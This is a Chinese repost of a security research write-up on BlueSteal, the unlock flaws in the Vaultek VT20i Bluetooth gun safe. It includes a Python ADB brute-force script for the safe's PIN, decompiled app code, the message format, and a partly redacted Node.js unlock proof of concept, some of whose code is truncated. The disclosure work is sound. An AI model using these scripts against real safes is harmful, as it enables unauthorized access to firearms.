吃一堑长一智|逆向工程之反编译

 来自:https://www.twosixlabs.com/bluesteal-popping-gatt-safes/

远程攻击支持蓝牙的枪支保险箱

在这篇博文中,我们将详细介绍BlueSteal,或者在Vaultek VT20i中利用多个安全失败的能力。这些漏洞突出表明需要在产品制造过程早期包含安全审计。这些漏洞包括CVE-2017-17435和CVE-2017-17436。VT20i是一款非常受欢迎的产品,专为枪支的安全储存而设计,也是亚马逊的几个畅销产品之一。我们欣赏保险箱的形式和适合性,因为它是我们与之互动的保险箱之一。我们证明了可以通过传输特殊格式的蓝牙消息来解锁我们拥有的Vaultek VT20i枪支保险箱。

漏洞

  • 有趣的漏洞 - 制造商的Android应用程序允许与安全无限的配对尝试。配对PIN码与解锁PIN码相同。这允许攻击者通过反复强力配对尝试安全地识别共享pin码。
  • 真正有趣的漏洞 - CVE-2017-17436 - Android手机应用程序和保险箱之间没有加密。成功配对后,应用程序以明文形式传输保险箱的PIN码。该网站和营销材料宣称,这个通信通道是用“最高级蓝牙加密”和“数据传输通过AES256位加密安全”加密的。但是这些说法是不正确的。蓝牙LE标准不支持AES256位加密,我们还没有看到它在高层使用的证据。蓝牙LE支持AES-128,但制造商也没有使用。这种加密的缺乏使得个人通过窃听应用程序和保险箱之间的通信来学习密码。
  • “这是怎么发生的?” 漏洞 - CVE-2017-17435  - 即使不知道PIN码,攻击者也可以通过特殊格式的蓝牙消息远程解锁此产品系列中的任何安全设备。电话应用程序需要使用有效的引脚来操作保险箱,并且有一个字段在授权请求中提供引脚代码。然而,保险箱不验证PIN码,因此攻击者可以使用任意值作为PIN码来获得授权并解锁保险箱。

我们将深入挖掘所有这些漏洞的细节,以及我们如何在下面找到它们。

打破在容易的方式

第一步是获取Android APK与保险柜进行交互。这个APK可以在这里找到:https: //apkpure.com/vaultek/com.youhone.vaultek我们使用的版本是v2.0.1。APK的作者似乎是一个名叫Youhone的中国公司打开应用程序后,最初有一个连接到保险柜的视图,并使用PIN码进行配对。

吃一堑长一智|逆向工程之反编译_第1张图片

只是碰巧,这是用来解锁保险箱的相同PIN码。成功配对后,我们可以使用应用程序执行诸如解锁保险箱之类的命令。

吃一堑长一智|逆向工程之反编译_第2张图片

我们立即检查是否可以成功进行暴力攻击。引脚长度只有4-8位数字,数值1-5可用。由于这个相对较小的密钥空间,我们可以很容易地编写一个利用ADB操纵制造商应用程序的强力攻击。在攻击者最好的情况下,一个4个字符的PIN码,搜索空间是一个合理的5 4。这需要大约72分钟,每次保守7秒。

下面我们有一个快速和肮脏的Python脚本,它是通过ADB和输入顺序组合键与手机进行交互的。当脚本迭代到正确的密码和开门指令时,保险箱将弹出。

import os
import itertools
import time
for combination in itertools.product(xrange(1,6),repeat=4):
  print ''.join(map(str,combination))
  os.system("adb shell input touchscreen tap 600 600")
  time.sleep(5)
  os.system("adb shell input text"+ ' "' + ''.join(map(str,combination)) + '"')
  time.sleep(1)
  os.system("adb shell input touchscreen tap 500 1100")
  time.sleep(1)
  os.system("adb shell input touchscreen tap 850 770")

如果应用程序或安全机制针对不正确的重试超时,或者强制执行最大重试限制,则可能会阻止或减轻此漏洞。

我们很想笑,但是我们想要访问这个安全而不依靠暴力。

逆向工程

Vaultek APK负责配对和解锁保险柜。有两种方法来理解其功能:

  • 通过识别负责生成解锁命令的APK中的代码进行静态分析。
  • 通过数据包捕获传输命令和记录输出进行动态分析。

用于在安全和应用程序之间进行通信的协议是Bluetooth Low Energy,这是一些额外阅读的链接。

https://devzone.nordicsemi.com/tutorials/17/

数据包捕获

 

吃一堑长一智|逆向工程之反编译_第3张图片

我们最初使用Ubertooth来嗅探手机和保险箱之间的流量,将捕获记录到磁盘。

https://github.com/greatscottgadgets/ubertooth

在检查数据包捕获之后,显然没有使用AES 256加密。写命令正在以明文形式进行。

吃一堑长一智|逆向工程之反编译_第4张图片

既然是这样的话,那么使用内置于蓝牙HCI日志中的Android就简单多了。这里是一个关于如何利用这个功能的好文章。

这里是一个Android捕获链接,展示了对话。

在数据包捕获中,我们可以清楚地看到蓝牙低功耗GATT对话开始的位置。 看来,APK向0xB句柄发出单个写入请求这是为了启用通知。然后再与0xA处理进行冗长的交换

现在,让我们回到APK,看看这些数据有效载荷代表什么。

APK代码分析

在并行路径上,我们使用apktooldex2jar从APK中提取类文件。Luyten是Procyon反编译器的GUI,用于检查反编译的代码。

一个看起来特别有趣的类是OrderUtilsVT20。除此之外这个类包含命令有效载荷的格式化代码。还有与各种类型的命令有关的“魔术”常量。

    static {
        OrderUtilsVT20.PASSWORD = "12345678";
        OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
        OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };
        OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };
        OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };
        OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };
        OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };
        OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };
        OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };
        OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };
        OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };
        OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };
        OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };
        OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };
        OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };
        OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };
    }

不幸的是,这些值不会直接显示在数据包捕获中。经过更多的调查,我们发现这是因为应用程序和安全性正在执行奇数编码例程来打包和变形有效载荷数据。APK还会将编码的有效负载分解为20个字节的长度块。这与在数据包捕获中观察到的格式相匹配。

编码功能如下:

if (!StringUtil.isVT20(s)) {}
        s = (String)(Object)new byte[array.length * 2 + 2];
        s[0] = true;
        s[s.length - 1] = -1;
        for (int i = 0; i < array.length; ++i) {
            final byte b = array[i];
            final byte b2 = array[i];
            s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97);
            s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
        }
        Label_0220: {
            if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
                int length = s.length;
                int n = 0;
                while (true) {
                    Label_0185: {
                        if (length > 20) {
                            break Label_0185;
                        }
                        array = new byte[length];
                        System.arraycopy(s, n * 20, array, 0, length);
                        int i = 0;
                    Label_0173_Outer:
                        while (true) {
                            this.SendData(array);
                            ++n;
                            while (true) {
                                try {
                                    Thread.sleep(10L);
                                    length = i;
                                    if (i == 0) {
                                        this.processNextSend();
                                        return;
                                    }
                                    break;
                                    array = new byte[20];
                                    System.arraycopy(s, n * 20, array, 0, 20);
                                    i = length - 20;
                                    continue Label_0173_Outer;

发现这个之后,翻转编码过程相对简单,我们的解码功能如下。

function decodePayload(payload){
	var res = new Array();
	for(var i=1;i


将这个解码函数应用到捕获的有效载荷后,就很容易识别应用程序传送到保险箱的命令。这是我们观察到的对话。

吃一堑长一智|逆向工程之反编译_第5张图片

这个对话中最有趣的两个命令是  getAuthor和  openDoor

这是负责格式化getAuthor命令的代码  

   public static byte[] getAuthor(final String password) {
        if (password == null || password.length() <= 0) {
            return null;
        }
        System.out.println("获取授权码  " + password);
        setPASSWORD(password);
        (OrderUtilsPro.data = new byte[24])[0] = -46;
        OrderUtilsPro.data[1] = -61;
        OrderUtilsPro.data[2] = -76;
        OrderUtilsPro.data[3] = -91;
        setTime();
        OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
        OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
        setRandom();
        setDateLength(4);
        CRC();
        setPassWord();
        return OrderUtilsPro.data;
    }
我们可以看到有一个 setPassWord 的调用,它将填充的pin码放在 getAuthor 的末尾

    public static void setPASSWORD(final String s) {
        String password = s;
        Label_0062: {
            switch (s.length()) {
                default: {}
                case 4: {
                    password = "0000" + s;
                    break Label_0062;
                }
                case 7: {
                    password = "0" + s;
                    break Label_0062;
                }
                case 6: {
                    password = "00" + s;
                    break Label_0062;
                }
                case 5: {
                    password = "000" + s;
                }
                case 8: {
                    OrderUtilsPro.PASSWORD = password;
                }
            }
        }
    }
    
    public static void setPassWord() {
        for (int i = 0; i < 8; i += 2) {
            OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
        }
    }


getAuthor命令的结构如下所示:

这是很麻烦的,因为APK在解锁过程中没有加密地传输编程的PIN码。这揭示了我们的第二个漏洞,以明文方式传输PIN码。

它也打我们,  getAuthor是短期的  getAuthorization深入研究这个信息,我们得到了上表中所示的结构。值得注意的是,结构末尾的PIN码实际上是在getAuthor命令中以明文形式传输的。这就把我们带到了最后的漏洞,安全不检查在getAuthor包中传输的PIN码,并且不管在现场是什么,都会用适当的授权令牌来回复。

安全对getAuthor命令的响应包含位于前4个字节的授权代码或令牌。我们花了一些时间才弄清楚这个返回消息是openDoor消息的必要组件因此,我们所需要做的就是获得openDoor命令的授权码,以便解锁保险箱。

我们可以看 com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20

switch (this.param) {
            default: {}
            case 41001: {
                System.out.println("获取授权码VT");
                this.author[0] = array[0];
                this.author[1] = array[1];
                this.author[2] = array[2];
                this.author[3] = array[3];
            }


在使用认证码填写前4个字节后,  openDoor命令具有以下格式。 吃一堑长一智|逆向工程之反编译_第6张图片

最后,打开保险柜的最低限度必要的谈话只是:

吃一堑长一智|逆向工程之反编译_第7张图片

概念验证(编辑)

这里是一个用于打开保险箱的概念代码编辑证明。下面的脚本本身不能在没有任何工作的情况下打开保险箱。

/*
Usage:
npm install noble
npm install split-buffer
node unlock.js
*/
var noble = require('noble');
var split = require('split-buffer');
var rawData = ["ThisIsWhere","TheRAWDataWouldGo"]
function d2h(d) {
    var h = (+d).toString(16);
    return h.length === 1 ? '0' + h : h;
}
 
function decodePayload(payload){
    var res = new Array();
    for(var i=1;i>4)+97;
        tmpC = (payload[i]&0xF)+97;
        res.push(tmpB);
        res.push(tmpC);
    }
    res.push(0xff);
    return res;
}
 
function CRC(target){
    var tmp = 0;
    for(var i=0;i<16;i=i+1){
        tmp += target[i] & 0xFF
    }
    var carray = new Array();
    carray.push(tmp&0xFF);
    carray.push((tmp&0xFF00)>>8);
    carray.push((tmp&0xFF0000)>>16);
    carray.push((tmp&0xFF000000)>>24);
    target[16] = carray.shift();
    target[17] = carray.shift();
    target[18] = carray.shift();
    target[19] = carray.shift();
}
 
function scan(state){
    if (state === 'poweredOn') {    // if the radio's on, scan for this service
        noble.startScanning();
        console.log("[+] Started scanning");
    } else {                        // if the radio's off, let the user know:
        noble.stopScanning();
        console.log("[+] Is Bluetooth on?");
    }
}
 
var mcount = 0;
function findMe (peripheral) {
    console.log('Discovered ' + peripheral.advertisement.localName);
    if (String(peripheral.advertisement.localName).includes("VAULTEK")){
      console.log('[+] Found '+peripheral.advertisement.localName)
    }
    else{
      return;
    }
    noble.stopScanning();
    peripheral.connect(function(error) {
        console.log('[+] Connected to peripheral: ' + peripheral.uuid);
        peripheral.discoverServices(['0e2d8b6d8b5e91d5b3706f0a1bc57ab3'],function(error, services) {
            targetService = services[0];
            targetService.discoverCharacteristics(['ffe1'], function(error, characteristics) {
                // got our characteristic
                targetCharacteristic = characteristics[0];
                targetCharacteristic.subscribe(function(error){});
                targetCharacteristic.discoverDescriptors(function(error, descriptors){
                    // write 0x01 to the descriptor
                    console.log('[+] Writing 0x01 to descriptor');
                    var descB = new Buffer('01','hex');
                    descriptor = descriptors[0];
                    descriptor.writeValue(descB,function(error){});
                    console.log('[+] Fetching authorization code');
                    message = split(Buffer.from(rawData.shift(),'hex'),20);
                    for(j in message){
                        targetCharacteristic.write(message[j],true,function(error) {});
                    }
                });
                targetCharacteristic.on('data', function(data, isNotification){
                    if(mcount==1)
                    {
                        process.exit()
                    }
                    mcount = mcount + 1;
                    data = decodePayload(data);
                    message = new Buffer.from(rawData.shift(),'hex');
                    message = decodePayload(message);
                    message[0] = data[0];
                    message[1] = data[1];
                    message[2] = data[2];
                    message[3] = data[3];
                    console.log("[+] Obtained Auth Code:");
                    console.log(d2h(data[0])+' '+d2h(data[1])+' '+d2h(data[2])+' '+d2h(data[3]));
                    CRC(message);
                    message = encodePayload(message)
                    message = new Buffer(message);
                    message = split(message,20);
                    console.log("[+] Unlocking Safe");
 
                    for(j in message){
                        targetCharacteristic.write(message[j],true,function(error) {});
                    }
                    return;
                });
            });
        });
    });
    return;
}
noble.on('stateChange', scan);  // when the BT radio turns on, start scanning
noble.on('discover', findMe);


这个脚本执行的步骤是:

  • getAuthor和  openDoor定义两个模板有效载荷  
  • 扫描保险箱,找到我们想要通过UUID进行交互的服务和特性。
  • 写一个0x01值到客户特性配置描述符为了启用通知。
  • 将我们的getAuthor编码模板有效载荷作为写入命令发送到20个字节的块中。然后等待处理值通知并检索响应。
  • 解码响应,并将前4个字节作为授权令牌。我们将这些授权字节放到我们的openDoor命令模板中。
  • 传送  openDoor命令后,应该打开保险箱。

后来我们学习了getAuthor命令中的唯一字段,  即硬编码的魔术字节和CRC值。

这意味着 具有pincode值的  getAuthor命令可以返回可以打开保险箱的授权码。

更好的是,  openDoor  命令只检查授权码,魔术值和CRC。


总结一下

我们已经在多个Vaultek VT20i保险箱上测试和验证了这个功能。非常好的学习范本,大家可以到亚马逊买一台回家试试。


你可能感兴趣的:(吃一堑长一智|逆向工程之反编译)